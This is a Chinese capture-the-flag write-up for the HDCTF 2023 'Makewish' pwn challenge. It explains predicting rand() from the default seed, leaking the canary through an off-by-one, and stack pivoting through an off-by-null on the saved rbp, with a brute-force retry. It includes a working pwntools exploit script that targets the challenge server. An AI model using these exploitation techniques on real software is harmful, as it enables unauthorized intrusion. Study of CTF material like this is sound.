【PWN · 栈迁移|off-by-one|伪随机|爆破】[HDCTF 2023]Makewish

一道精巧、包含很多要点的题目

一、题目

【PWN · 栈迁移|off-by-one|伪随机|爆破】[HDCTF 2023]Makewish_第1张图片

二、思路浅析

通过ctypes酷通过伪随机数检测,没用srand指定随机种子时,默认srand(1)。

通过puts_name的off-by-one来泄露canary

进入vuln时,发现只能刚好填充到rbp前面,但是会将最后一个字符的下一个字节置为0

——可以通过off-by-null来覆写main_rbp的低字节为0,而vuln函数后面程序退出,两次leave;ret,构成栈迁移,且往低地址迁移,一定概率落在覆写的“wish”字符串中。通过爆破多试几次即可。

三、exp

from pwn import *
from ctypes import *
context(arch='amd64',log_level='debug')

libc=cdll.LoadLibrary('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

# gdb.attach(io)
# raw_input()
while(1):
    io=remote('node4.anna.nssctf.cn',28895)
    io.recvuntil(b'name\n\n')
    io.sendline(b'a'*39+b'b')
    io.recvuntil(b'aaab')
    canary=u64(io.recv(8))-0x0a
    success(hex(canary))

    libc.srand(1)
    num=libc.rand()%1000+324
    io.send(p32(num))

    io.recvuntil(b'can make a wish to me\n')
    raw_input()
    backdoor=0x4007C7
    payload=p64(backdoor)*11+p64(canary)
    io.send(payload)
    raw_input()

    io.interactive()

你可能感兴趣的:(【PWN,·,高级栈相关】,linux,ctf,pwn,栈迁移,StackOverflow)